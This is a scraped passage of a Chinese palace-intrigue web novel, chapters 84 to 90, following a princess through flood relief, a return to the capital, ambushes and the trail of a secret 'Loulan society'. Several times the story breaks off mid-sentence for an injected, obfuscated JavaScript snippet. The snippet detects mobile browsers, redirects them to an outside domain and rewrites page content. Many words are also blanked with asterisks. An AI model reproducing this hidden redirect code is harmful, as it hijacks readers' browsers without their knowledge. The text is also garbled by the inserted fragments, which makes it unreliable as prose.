黎音袅恰好巡视到这里,听到争吵,走了过去。她先是安抚了妇人几句,然后拿起一本登记册翻看,又随手抓起一把旁边袋子里的稻种。颗粒干瘪,色泽暗淡,还夹杂着不少秕谷和沙土。劣质谷种这几个字在她脑中一闪而过。 她看向那小吏,声音不高:“这些种子,是哪里来的?” 小吏眼神闪烁了一下,连忙躬身:“回殿下,是…是从州府粮库里按规程调拨过来的。” 黎音袅掂了掂手里的种子:“成色如此之差,也能入库?负责此次调拨的官员是谁?把他叫来见我。”她心里想,国难当头,赈灾的种子都敢以次充好,克扣分量。真是烂到根子了。不严惩不足以平民愤,更会毁掉重建的根基。 她当即下令,暂停此处的种子发放,派亲卫带人前往州府查验粮库记录和剩余种子。同时,命令将所有已运抵的种子全部开袋检查,不合格的一律封存。不足的部分,先从军粮中调拨一部分应急,必须确保发到灾民手中的是能种活的良种,且分量公平。小吏吓得面无人色,瘫软在地。 与此同时,帮助百姓重建家园的工作也艰难地开始了。士兵们放下武器,拿起斧头、锯子,帮助灾民清理废墟,搭建临时的窝棚。他们从废墟中收集还能使用的木料、砖石,但缺口巨大。修复房屋的进度,比疏浚河道还要缓慢。材料匮乏,成了最大的难题。 日子在忙碌、焦虑和一点点希望中一天天过去。河道渐渐恢复了旧貌,奔流顺畅。被淤泥覆盖的田野上,星星点点地冒出了脆弱的新绿。倒塌的房屋旁,也开始竖起一些歪歪扭扭但充满生机的新的木梁。 百姓们见到黎音袅和江令舟时,眼神不再是最初的麻木和怀疑,而是充满了真切的感激和敬畏。不知从何时起,他们开始私下称呼黎音袅为“救命的长公主殿下”,甚至有人偷偷叫她“活菩萨”。 黎音袅听到这些称呼,内心并无多少触动。她心里想,这点刚刚萌发的生机,实在太脆弱了。柳成峰在京城布下的棋局,诡谲难测的朝堂风波,蠢蠢欲动的南方叛军,还有那远在西域的楼兰……任何一个地方出现变故,都可能让眼前的这点微末希望,瞬间化为泡影。 黄昏时分,残阳如血。黎音袅站在一处刚刚搭建好框架的房屋地基旁,看着不远处一个头发花白的妇人,正小心翼翼地将几株青菜苗**屋前刚清理出来的一小片泥地里。 江令舟不知何时走到了她的身边,顺着她的视线望去,没有说话。 黎音袅收回视线,弯腰从地上捡起一根在洪水中浸泡、已经有些腐朽的木料。 第85章非同以往 河堤上的柳树抽了新芽。 几日未见雨水,被洪水浸泡过的土地开始干裂,但搭建房屋的槌打声并未停歇。黎音袅正与几名工匠商议加固地基的方法,一名尘土满面的禁军将士策马疾驰而来,在不远处翻身下马,快步上前单膝跪地。 “殿下,京城八百里加急!” 黎音袅接过那带着体温和汗渍的火漆密信,信筒是玄铁所制,刻着皇家印记。她挥退了工匠,看向身旁的江令舟。江令舟示意将士起身。 “何时发出的?”黎音袅问,手指已经开始拆解火漆。 “三日前。陛下有令,务必亲手交到殿下手中。”将士声音嘶哑。 黎音袅展开信纸,上面的字迹是皇帝亲笔,笔锋凌厉,透着一股压抑不住的怒火和疲惫。她快速浏览,内容不多,却字字惊心。 柳成峰罪证确凿,已下狱。其党羽,已着三司会审,一体严查。朝中震动,宵小之辈蠢蠢欲动,欲乱朝纲。朕需你速归。 她看完,将信纸递给江令舟。 江令舟接过,目光扫过,眉头微不可察地蹙了一下,随即将信纸凑近火烛,看着它化为灰烬。 “柳成峰倒了。”黎音袅开口,语气平静,听不出情绪。她心里却不像表面这般平静。柳成峰盘踞朝堂多年,根系深厚,她送去的证据虽是利刃,却未曾想过皇帝下手如此之快,如此之决绝。快刀斩乱麻,固然痛快,可拔出萝卜带起泥,这朝堂怕是要翻天了。 将士低头:“回殿下,柳相…柳贼下狱当日,京城**。随后几日,刑部与大理寺抓捕了数十名官员。朝堂上,如今…如今为了柳贼旧案和空缺出的职位,争执不休,几位老大人在殿上就…就差点动起手来。还有**劾兵部尚书,说他与柳贼暗中勾结…” 黎音袅打断他:“**兵部尚书?谁?” “御史中丞,李若谷。” 黎音袅心中冷笑。李若谷,向来是柳成峰的喉舌,如今倒是反咬一口,想要撇清关系,顺便捞取**资本。这朝堂,果然是一刻也安生不得。 “陛下身体如何?”她问。 将士迟疑了一下:“陛下…连日处理政务,未曾好生歇息,前日召见臣时,咳嗽了几声。” 黎音袅看向江令舟:“看来,我们得回去了。” 江令舟迟疑的问:“这里的摊子?” 黎音袅走到临时搭建的棚屋前,看着里面堆放的赈灾物资登记册。粮食、药材、还有刚刚解决的种子问题。“我走之前,会安排好。军中几位参将尚可信任,我会留下详细的章程。后续的物资调配,还得依靠你江家的商路帮衬。” 江令舟点了点头:“这是自然。只是,你此刻回去,京城怕是龙潭虎穴。” “我知道。”黎音袅转身,看着远处田埂上重新出现的农人身影。“柳成峰倒了,但他的势力不会立刻烟消云散。那些依附他的人,为了自保,必然会抱团反扑。皇帝选择此时动手,想来也是被逼到了墙角。他需要一把刀,快刀,斩断那些盘根错节的藤蔓。” 她心里想,皇帝这是在用雷霆手段震慑宵小,同时也是在给她铺路。只是这路,注定不好走。那些人不敢明着反抗皇帝,却一定会将矛头对准她这个“罪魁祸首”。回京之后,等待她的,将是无数的明枪暗箭。 “李若谷**兵部尚书,恐怕只是个开始。”江令舟分析道,“柳成峰留下的权力真空太大了,各方势力都会盯着。原本被压制的宗室,恐怕也会借机生事。陛下此刻让你回去,既是倚重,也是将你放在了风口浪尖。” “我明白。”黎音袅道,“父皇要的是稳定。柳成峰在,朝堂看似稳定,实则内里早已腐烂。如今脓疮被我挑破,流脓淌血是必然的。若不回去收拾局面,任由他们争斗下去,这大周的江山,就真的要动摇了。到时候,别说这里的重建,怕是整个天下都要烽烟四起。” 她想起那个在屋前种菜的老妇人,想起那些刚刚领到良种、眼中重新燃起希望的灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548021|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民。这点生机,不能毁于朝堂的权欲争斗。 “你担心南方?”江令舟问。 黎音袅点头:“柳成峰与南方几家藩镇素有往来。他一倒,那些人难免不会有别的想法。此时朝局动荡,正是他们趁虚而入的好时机。” 江令舟附和:“我会加派人手,盯紧南边的动向。你在京中,万事小心。” 黎音袅担心的说道:“你也一样。这里的重建,关乎数十万百姓的生死,不能出任何差错。”她看向那名将士,“你回去复命,告诉陛下,我即刻启程。” 将士领命行礼:“是!” 黎音袅转身,开始口述命令,让随行的文**录,安排后续的赈灾事宜。她的声音依旧不高,却带着一种不容置喙的力量。每一条指令都清晰明确,将各项事务交接给相应的将领和官员。 江令舟站在一旁,看着她有条不紊地安排一切。夕阳将她的影子拉得很长,投射在满目疮痍的土地上。 “殿下,”江令舟在她吩咐完毕后开口,“此去京城,非同以往。柳成峰经营多年,党羽遍布朝野,即便树倒,猢狲也不会立刻散去。他们失了依仗,只会更加疯狂。” 黎音袅不懈的说:“我知道。一群丧家之犬罢了,能掀起多大风浪?”话虽如此,她心里却清楚,这些“丧家之犬”联合起来,足以将整个朝堂搅得天翻地覆。皇帝需要她回去,不仅仅是信任,更是因为她是皇室成员,是长公主,是唯一能在此刻名正言顺介入朝政、并且有能力镇住场面的人选。 她顿了顿,补充道:“比起那些看得见的敌人,我更担心那些藏在暗处的眼睛。”比如,那个至今未曾露出真面目的,在背后推动楼兰异动的人。 江令舟没有再劝。他了解她的性子。决定了的事情,就不会更改。 黎音袅走到那堆刚刚检查合格,准备明日发放的稻种麻袋旁,伸手抓起一把。颗粒饱满,色泽光亮。 她松开手,稻种从指缝滑落。 第86章明枪暗箭 稻种已经分发下去,田埂上有了人影。 黎音袅正与江令舟对着舆图,商议下一批物资的调配路线,一名亲卫步入临时搭建的棚屋,呈上一卷用火漆封口的密筒。 “殿下。”亲卫双手奉上。 黎音袅接过,入手微沉。火漆完好,上面没有任何标识。她看向江令舟,后者也露出询问的神色。她拆开火漆,抽出一卷薄绢。 展开,绢上只有寥寥数行字,字迹陌生,笔力遒劲。内容却让她和江令舟同时变了脸色。 信中并未提及具体人名,只隐晦点出,京中乱局并非仅仅因为柳成峰倒台引发的权力倾轧,背后似乎有更深层的原因。一股不明势力正在暗中推波助澜,试图将水搅得更混。更令人心惊的是,信中暗示,这股势力与南方数月来的水患、以及后续爆发的疫病,并非毫无关联。 “这……”江令舟看着信纸,眉头紧锁,“朝堂混乱,与南方天灾有关?” 黎音袅的指尖划过信末。那里没有署名,只有一个用朱砂印上的奇特符号,像是一朵缠绕的火焰,又像是一只扭曲的眼睛。 “这个符号,你见过吗?”黎音袅问。 江令舟摇头:“从未见过。军中、朝廷、江湖各派的标记,我大致都有印象,但这一个,全然陌生。” 黎音袅垂下眼帘。信中所言,太过骇人听闻。若真是人为引发天灾,再借机操控朝局……那背后之人的野心与手段,简直匪夷所思。 “信的可信度有多少?”江令舟问出关键。 “不知道。”黎音袅道,“但送信之人,能避开所有耳目,将这东西直接送到我面前,本身就不简单。” 她回想皇帝的密诏,只催她速回京城稳定局面,并未提及其他。是父皇也不清楚,还是有所顾忌?柳成峰倒台,拔出萝卜带出泥,但这些泥,恐怕比萝卜本身更棘手。 “南方水患与疫病,我们一直认为是天灾,后续处置也围绕于此。”江令舟沉声道,“若真有人为因素,那之前的调查方向就全错了。” “对方的目的呢?引发灾祸,削弱国力,再趁京城权力更迭之际浑水摸鱼?图谋更大?” “柳成峰与南方藩镇勾结,或许只是被推到明面上的棋子。他一倒,这盘棋并未结束,反而可能进入了更凶险的阶段。” 黎音袅捏紧了那卷薄绢。她想起那些死于洪水和疫病的百姓,想起江令舟为了控制疫情殚精竭虑,想起自己这段时间为了重建奔波不休。如果这一切灾难背后,真的有人为的影子…… 她心底涌起一股寒意。 “这封信,早不来晚不来,偏偏在我即将离京时送到。是提醒,还是警告?亦或是……诱饵?”黎音袅的思绪飞转。 江令舟:“不管送信人目的为何,信中提及之事,必须查清。否则,寝食难安。” “京城,必须立刻回去。”黎音袅做出决定。 “重建之事……”江令舟看向舆图。 “按原计划交接给后续官员。此事若不查清源头,重建亦是镜花水月。”黎音袅站起身,“传令下去,整理行装,轻车简从,我们以最快速度返回京城。” 江令舟:“我安排人手,沿途护卫。” 黎音袅:“不必大张旗鼓。对方既然能悄无声息送信,想必也知道我们的动向。人多,反而可能是累赘。” 她看向那枚朱砂符号。这背后,到底藏着什么? 回京的路途,并不平静。 车队离开灾区不过三日,行至一处名为“断魂坡”的险隘。两侧山壁陡峭,道路狭窄,仅容两马并行。 “停!”队伍前方的斥候突然勒马,高举右手。 几乎在同一时间,两侧山壁上,数十支淬毒**箭悄无声息地破空而至,目标直指中间的马车。 “有埋伏!保护殿下!”江令舟的声音响起。 亲卫反应极快,瞬间拔刀,挥舞格挡,同时数面盾牌竖起,护住马车周围。叮叮当当的脆响不绝于耳,几名亲卫躲闪不及,闷哼倒地,伤口迅速发黑。 黎音袅在车内,面色沉静。她并未慌乱,只是透过车窗缝隙观察外面的情况。 箭雨稍歇,十余名黑衣蒙面人如同鬼魅般从山壁上滑下,手持奇形弯刀,扑向亲卫组成的防御圈。他们的身法诡异,出手狠辣,配合默契,显然是训练有素的死士。 江令舟早已掠出车厢,长剑出鞘,迎上为首的黑衣人。剑光凌厉,瞬间便将两名敌人逼退。 亲卫们奋力抵抗,但对方人数占优,且悍不畏死,防御圈逐渐被压缩。 黎音袅取下车壁上悬挂的短弓,并未拉满,只是随意搭上一支箭。她没有瞄准那些与亲卫缠斗的黑衣人,而是看向山壁上方一处不起眼的岩石凸起。 嗖的一声轻响,羽箭离弦。 岩石后发出一声短促的闷哼,随即再无声息。 下方正在猛攻的黑衣人动作明显一滞。 江令舟抓住机会,剑势陡然加快,噗嗤一声,长剑贯穿一名黑衣人的胸膛。 失去指挥,又见同伴**,剩下的黑衣人对视一眼,不再恋战,虚晃一招,迅速向后撤退,几个起落便消失在山林之中。 江令舟没有下令追击。他走到那处岩石后,片刻后返回,手里拿着一支**箭。“是他们的人,负责指挥和补射冷箭。” 亲卫检查倒地的黑衣人尸体。“大人,他们身上没有任何可以证明身份的东西,兵器制式也很奇怪。” “清理战场,救治伤员,继续赶路。”黎音袅的声音从车内传出,依旧平稳。 江令舟看向马车,眼神复杂。这只是开始。那封信,果然不是空穴来风。 夜宿驿站。 一路疾行,所有人都带着疲惫。驿站虽简陋,但总算能暂时歇脚。 饭菜送入黎音袅和江令舟的房间。四菜一汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江令舟看着那几乎没入树干的箭矢,后心微微发凉:“他们越来越急躁,也越来越不择手段了。” 黎音袅伸手,指尖轻轻拂过脸颊上被箭风带起的细微刺痛感。她看着那支箭,眼神幽深。 “是。我们在逼近京城,也可能在逼近他们不想让我们触碰的真相。” “这股藏在暗处的势力,比我们预想的更强大,也更危险。” “柳成峰盘踞朝堂多年,党羽众多,但行事尚有迹可循。这些人……如同毒蛇,潜伏在阴影里,随时准备发出致命一击。” 她想起那封信,那个诡异的符号。京城等待她的,恐怕不仅仅是朝堂上的明枪暗箭。 黎音袅走过去,伸手握住箭杆,用力将其从树干中拔出。 第87章意料之中 车马辚辚,驶入久违的京城。 城门守卫森严,气氛不同寻常。黎音袅掀开车帘一角,街上行人步履匆匆,许多店铺门扉紧闭。压抑感无处不在。 回到公主府,不及洗漱,黎音袅便道:“去查柳成峰在京所有旧部,尤其是他入狱前接触过的人。” 江令舟点头,对亲卫下令。 “还有,”黎音袅补充,“大理寺、刑部,凡是关押柳党成员的牢狱,派人盯紧。” “是。”亲卫领命而去。 江令舟看着她:“你怀疑他们会被灭口?” “从驿站下毒到林中冷箭,对方行事狠绝,不留活口是他们的风格。”黎音袅走到窗边,“柳成峰倒台,但他的势力盘根错节,总有人知道些什么。这些人,对那股暗中势力来说,是隐患。” “他们已经动手了。”一个时辰后,亲卫匆匆回报,“柳成峰的心腹幕僚周显,昨夜在狱中‘突发恶疾’,**。” 黎音袅手指收紧。 江令舟:“太快了。” “意料之中。”黎音袅转身,“下一个目标是谁?” “户部侍郎钱松,他曾是柳成峰提拔,主管钱粮,柳成峰倒台后被关押待审。”亲卫答道。 “立刻去提审钱松。”江令舟下令。 “不必了。”黎音袅阻止,“去了也是扑空,或者……看到另一具尸体。” 她坐下,给自己倒了杯冷茶。 “他们算准了我们会从柳成峰的旧部查起,提前清理了关键人物。”黎音袅端起茶杯,却没有喝,“这条线,暂时断了。” 江令舟问道:“那我们……” “等。”黎音袅吐出一个字,“等他们自己露出马脚,或者,等一个意想不到的突破口。” 她看向江令舟:“宫里的情况如何?” 江令舟缓缓地说:“出来前收到消息,陛下龙体欠安,已经数日未能上朝。朝中事务暂由几位阁老协同处理,但……争执不断。” 黎音袅上前一问:“哪些人在争?” 江令舟回答说:“一部分是忠于陛下的老臣,另一部分……态度暧昧,隐隐与柳成峰旧部有牵扯,却又撇得干净。最近他们频频上书,要求彻查边防军粮案,矛头似乎指向……” 他停顿了一下。 黎音袅说:“指向镇国公府,指向我父亲?” 江令舟迟疑了一下说:“是。” 黎音袅放下茶杯,杯底与桌面接触,发出一声轻响。 “调虎离山,围魏救赵。”她自语,“他们想搅浑水,让我们自顾不暇。” “公主,江将军,”府外侍卫通报,“吏部侍郎徐大人求见,说有要事相商。” 徐侍郎是朝中少数几个立场坚定的保皇派,也是当初暗中送信提醒黎音袅京城有变的人之一。 “请他进来。”黎音袅道。 徐侍郎年过五旬,面带忧色,步履匆匆。进入厅内,他屏退左右,对黎音袅和江令舟行了一礼。 “公主,将军,情况不妙。”徐侍郎开门见山,“陛下病倒,朝中几股势力相互倾轧,许多原本中立的官员也开始摇摆不定。反对派声势日涨,恐怕……” “徐大人请讲。”黎音袅示意。 “他们步步紧逼,不仅在朝堂上发难,还暗中联络京畿卫戍,似乎想掌控城防。”徐侍郎压低声音,“老臣担心,他们会对陛下不利。” 江令舟上前一步说道:“京畿卫戍指挥使不是忠于陛下吗?” “指挥使大人是忠心,但他手下几个副将,与柳成峰旧部往来密切。如今柳党虽倒,那些关系网还在。”徐侍郎叹气,“陛下病重,无法理事,指挥使大人独木难支。” “他们最终的目的是什么?仅仅是权力?” 徐侍郎说:“恐怕不止。老臣感觉,他们背后还有一股力量,行事诡秘,手段狠辣。周显死在狱中,绝非偶然。他们是在清除障碍,也是在警告所有想反抗的人。” 他看向黎音袅:“公主,您这次回京,恐怕会成为他们的眼中钉。” “我早已是。”黎音袅语气平静,“徐大人,多谢告知。还请大人保重自身,留意朝中动向,有任何异动,及时通知我。” “老臣明白。”徐侍郎拱手,“公主,将军,万望小心。” 徐侍郎离开后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548023|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅内一时沉默。 “看来,我们面对的不仅是柳成峰的余孽,还有一个更深的漩涡。” “那个符号,或许就是解开这个漩涡的关键。” 她站起身:“不能坐等。既然明面上的线索断了,就从暗处查。” 江令舟:“暗处?” 黎音袅:“京城鱼龙混杂,三教九流,总有自己的消息渠道。派人去查,最近有没有什么异常的资金流动,或者……不寻常的死亡事件。” 她走到门口,看着院中肃立的亲卫。 “还有,加强公主府和镇国公府的守备。”黎音袅吩咐,“对方既然敢在狱中**,就敢在府外动手。” 接下来的几天,调查如同石沉大海。 派出去的人回报寥寥。柳成峰的旧部要么缄口不言,要么如周显一般“病死”或“意外身亡”。试图追查资金流向,也发现账目早已被做得天衣无缝。 朝堂上的压力却与日俱增。反对势力愈发嚣张,**镇国公的奏折堆满了御案。皇帝的病情时好时坏,偶尔清醒,也显得力不从心。 这天,江令舟从宫中回来,脸色沉重。 “陛下今日召见了几位阁老,精神尚可,但……”江令舟顿了顿,“关于边防军粮案,陛下似乎有所松动,下令彻查。” 黎音袅正在翻看一叠卷宗,闻言抬头:“父帅那边如何?” “镇国公闭门不出,府中守卫森严。”江令舟走到她身边,“但这样下去不是办法。一旦被扣上罪名,再想翻身就难了。” 黎音袅合上卷宗:“他们就是要逼我们乱。我们越急,破绽越多。” “可我们没有时间了。”江令舟看着她,“陛下的身体……太医说,忧思过度,心力交瘁,若再受刺激,恐怕……” 黎音袅沉默。她何尝不急。父亲的安危,朝廷的稳定,陛下的健康,都悬于一线。而那个隐藏在暗处的敌人,却连影子都抓不到。 “公主,”一名亲卫快步进来,“有新发现。城西一个**,前日发生火并,**几个人。据我们的人探查,其中一个死者,似乎与之前宫中传递消息的某个小太监有过接触。” 第88章 楼兰会 黎音袅精神一振:“具体情况?” “那小太监前几日失足落水**。这个死者身份不明,但身手不凡,不像普通混混。钱庄老板说,这人最近常来,兑换大额银票,来路不明。” 江令舟:“查钱庄老板,查银票来源!” “查了。老板一口咬定不认识那人,银票也验不出问题。”亲卫脸上带着挫败,“线索到这里,又断了。” 挫败感笼罩着所有人。 黎音袅走到桌前,拿起一支笔,在纸上画下那个在驿站、在箭矢上都见过的符号 “这个符号,会不会是某个组织的标记?”江令舟问。 “有可能。”黎音袅看着那个扭曲的图案,“或者,是某种身份的象征。” 她用指尖描摹着符号的轮廓。 “传令下去,”黎音袅开口,声音带着一种决断,“让所有潜伏的人手留意这个符号。无论在哪里看到,无论接触到什么人,立刻上报。” “是!” 江令舟看着她:“你想用这个符号做饵?” “不是饵。”黎音袅放下笔,“是网。既然找不到他们,就让他们来找我。” 她站直身体,看向窗外。京城的天空,阴云密布。 “去准备一下,”黎音袅吩咐,“明日,我要进宫,探望陛下。” 江令舟没有立刻应声。 黎音袅转头看他:“怎么?” “宫中现在很危险。”江令舟说。 “我知道。”黎音袅回答。 她走到门口,停下脚步。 次日,黎音袅并未急于进宫。 她独自一人,换了便装,走在京城西市的街道上。昨日的决定看似决绝,实则风险巨大。以身为网,网住的可能是敌人,也可能是自己。她需要一点时间,一点不一样的思路。漫无目的地走着,两侧店铺琳琅满目,喧嚣声不绝于耳,却丝毫未能进入她的心。 脚步停在一家古玩店门前。店面不大,有些陈旧。鬼使神差地,她走了进去。店内光线昏暗,摆满了各式器物,落满灰尘。老板是个干瘦老头,靠在柜台后打盹,对进来的客人只掀了掀眼皮。 黎音袅随意看着,目光扫过一排玉器。忽然,她的动作停住了。在一个不起眼的角落,挂着一枚羊脂白玉佩。玉佩本身质地普通,雕工也算不上精细,吸引她的是玉佩上刻着的一个符号。 那个扭曲的,在驿站见过,在箭矢上见过,在她脑中盘旋了无数次的符号。 她伸手拿起那枚玉佩,指尖传来玉石的微凉触感。“老板,这个怎么卖?” 老头睁开眼,懒洋洋报了个价。黎音袅没有还价,直接付了银子,将玉佩收入袖中,转身离开。 回到临时落脚的宅院,江令舟正在等她。“宫里的眼线传话,陛下今日情况尚稳,但几位阁老又在御书房议事,似乎与边防有关。” 黎音袅没有立刻回应,她拿出那枚玉佩,放在桌上。“你看这个。” 江令舟拿起玉佩,只看了一眼,神色就变了。“这符号……” “我在西市一家古玩店找到的。”黎音袅说。 “我去查那家店和老板!”江令舟立刻道。 “我已派人去了。”黎音袅阻止他,“但我感觉,不会有结果。那个老板,不像知情的样子。”她看着玉佩,“问题可能在玉佩本身。” 江令舟仔细端详玉佩:“玉质一般,雕工也寻常。但这符号……”他用指腹摩挲着那个图案,“刻得很深,很清晰,不像是随意为之。” “这是楼兰一带常用的符号变体。”黎音袅开口,“我早年随父帅在边关,见过类似的图腾纹样,但这个更加复杂,似乎有特定含义。” 江令舟:“楼兰赤城?与京中势力何干?” 黎音袅拿起玉佩,对着光线细看,“这个符号,我怀疑是某个组织的标识。” “什么组织会用一个覆灭小国的符号?”江令舟不解。 黎音袅沉吟:“或许,正因为它覆灭了,才更适合隐藏。一个消失在历史尘埃里的名字,谁会留意?”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548024|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下玉佩,“我让人查过,西域近年来有一个名为‘楼兰会’的组织悄然兴起,行事隐秘,势力不明,多在江湖活动。” 江令舟:“你的意思是,我们面对的敌人,可能与这个‘楼兰会’有关?一个江湖组织?” “可能性很大。”黎音袅点头,“你想,什么人能轻易避开官府耳目,培养死士,策划如此周密的行动?除了渗透朝堂,江湖力量也是他们最好的掩护。” “江湖……”江令舟皱眉,“那是一个完全不同的世界,鱼龙混杂,规矩自成一套。我们的人手,在江湖中恐怕寸步难行。” “所以,需要亲自去。”黎音袅说。 江令舟:“你要去闯江湖?”他的语气带着不赞同。“太危险了。且不说江湖险恶,你身份特殊,一旦暴露……” “不入虎穴,焉得虎子。”黎音袅打断他,“线索指向那里,我们就必须去。镇国公府等不起了,陛下也等不起了。”她看着江令舟,“我知道你在担心什么。但我们没有选择。” 江令舟沉默。他清楚黎音袅的决定意味着什么。那不是官场倾轧,而是刀光剑影,生死一线。 “这个‘楼兰会’,可有具体的落脚点或者联络方式?”江令舟问,他开始思考实际操作的问题。 “目前还没有。”黎音袅摇头,“江湖门派众多,关系错综复杂。‘楼兰会’既然隐秘,必然不会轻易暴露。我们需要一个切入点。”她再次拿起那枚玉佩,“也许,这个能帮我们。” 江令舟:“一枚玉佩?” “留意这种玉的产地,或者这种特殊的雕刻手法。”黎音袅说,“江湖中人,总有自己的消息渠道和辨识方法。” “我立刻派人去查。”江令舟应下。 黎音袅站起身:“准备一下,我们可能很快就要离开京城。” 江令舟:“去哪里?” 黎音袅看向窗外,远方的天空依旧阴沉。“哪里最可能有‘楼兰会’的消息,我们就去哪里。” 她转身离开房间。 第89章质疑 金銮殿内,气氛凝滞。 南方赈灾事毕,黎音袅与江令舟归京复命不过数日,朝堂之上已然暗潮汹涌。 “启奏陛下。”御史中丞王启年手持笏板出列,“臣有本奏。长公主在南方督办赈灾,耗费巨大,然账目之中,多有可疑之处。尤以临时居所一项,靡费甚巨,远超常例。臣疑长公主擅自挪用粮款,以致灾民温饱难继,恳请陛下彻查。” 王启年声音不高,字字句句却如针刺。殿中数道视线立刻投向黎音袅。 黎音袅身着武将常服,未着甲胄,立于武将班列之首。她面无表情,只抬眼看了看王启年。 来了。终究是躲不过。 她尚未开口,江令舟已从文臣队列中走出,手捧数卷卷宗。 “陛下,王大人所言差矣。”江令舟声音清晰,“南方水患,灾民数万,流离失所。若无临时居所遮风避雨,一旦疫病滋生,后果不堪设想。此乃臣与长公主共同商议,报备兵部户部后施行之策,并非一人独断。” 他展开其中一卷:“此为居所建造用度明细,每一笔皆有记录,工料几何,人工几何,清清楚楚。王大人可随时查验。” 他又拿起另一卷:“此为粮草调拨发放记录,自赈灾始至灾情平复,共发放粮米若干,惠及灾民若干,无一饿殍记录在案。敢问王大人,‘温饱难继’之说,从何而来?” 王启年被问得一滞,随即强辩:“居所之事,或有其理。但长公主以武将之身,总揽赈灾全局,调动地方官员,是否合乎规制?南方文官众多,岂无一人能担此任?此越俎代庖之嫌,不可不察!” “王大人此言,更是无稽。”江令舟寸步不让,“国难当头,能者居之。陛下委任长公主,正是看重其决断与能力。若事事拘泥规制,错失良机,谁能负责?况且,所有政令调动,皆有文书往来,并非长公主一人独断专行。” “江大人说得轻巧!”吏部侍郎赵康阴恻恻开口,他是前朝旧臣,与先前谋逆案牵连甚深,侥幸留任,“规矩就是规矩。长公主功勋卓著,臣等佩服。但朝廷法度,岂能因人而异?今日长公主可越级调拨,明日他人是否也可效仿?长此以往,国将不国!” 赵康的话,立刻引来数人附和。 “赵大人所言极是!无规矩不成方圆。” “军政分离,乃是祖制。” “长公主此举,确有不妥。” 争论声渐起,矛头不再是赈灾实效,而是转向了程序与权力。 黎音袅冷眼旁观。这些人,揪住细枝末节,无非是想借题发挥,打击她与江令舟,更是试探龙椅上那位的底线。 一群跳梁小丑。真正的敌人,还藏在更深处。 她心下计较,却不准备在此刻与他们缠斗。口舌之争,解决不了根本问题。 江令舟还欲再辩,殿中已乱作一团。支持与反对的声音交织,指责与辩驳不断,朝会俨然成了市集。 “够了!” 龙椅之上,皇帝许鹤鸣终于开口。他的声音不高,却瞬间压下了所有嘈杂。 群臣噤声,躬身垂首。 许鹤鸣环视下方,脸上看不出喜怒。“赈灾细节,所涉繁多,非朝堂片刻能断。此事交由三司会审,核查账目,厘清权责。王启年,赵康,尔等将所疑之处,整理成文,呈递上来。” 查?查不出什么,不过是拖延时间,给这些人一个台阶。许鹤鸣心中烦躁。这些残余势力,如同附骨之疽,难以根除。黎音袅与江令舟是他手中的利刃,但也因此成了众矢之的。他需要他们,却也不得不顾及朝局的平衡。 “长公主,江爱卿,南方之事,辛苦了。”许鹤鸣语气放缓,“赈灾之功,朕自有论断。今日暂且议到这里。” “退朝!”内侍尖细的声音响起。 群臣躬身行礼:“恭送陛下。” 许鹤鸣起身,拂袖而去,背影透着一丝疲惫。 官员们三三两两散去,不少人看向黎音袅和江令舟的视线中,带着幸灾乐祸或探究。王启年与赵康对视一眼,嘴角露出一抹不易察觉的笑意。 黎音袅与江令舟并肩走出金銮殿。午后的阳光有些刺眼,却驱不散弥漫的阴霾。 “他们不会善罢甘休。”江令舟低声道。 “意料之中。”黎音袅脚步未停,“这只是试探。” 试探之后,便是真正的杀招。江令舟心想。朝堂上的攻讦尚可应对,但那个隐藏在暗处的“楼兰会”,才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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脚步声传来,江令舟走了进来。“宫门口一别,我思量再三,还是觉得有些事需再与你商议……”他话未说完,便看见了书案上的信件,以及黎音袅沉静的面容。 黎音袅没有说话,只示意他看那封信。 第90章试探 江令舟拿起信纸,快速浏览。他看得极快,眉头随之蹙起。“匿名信?谁送来的?” “不知。”黎音袅回答,“直接出现在书案上。” “出现在书案上?”江令舟重复了一遍,“府内守卫……” 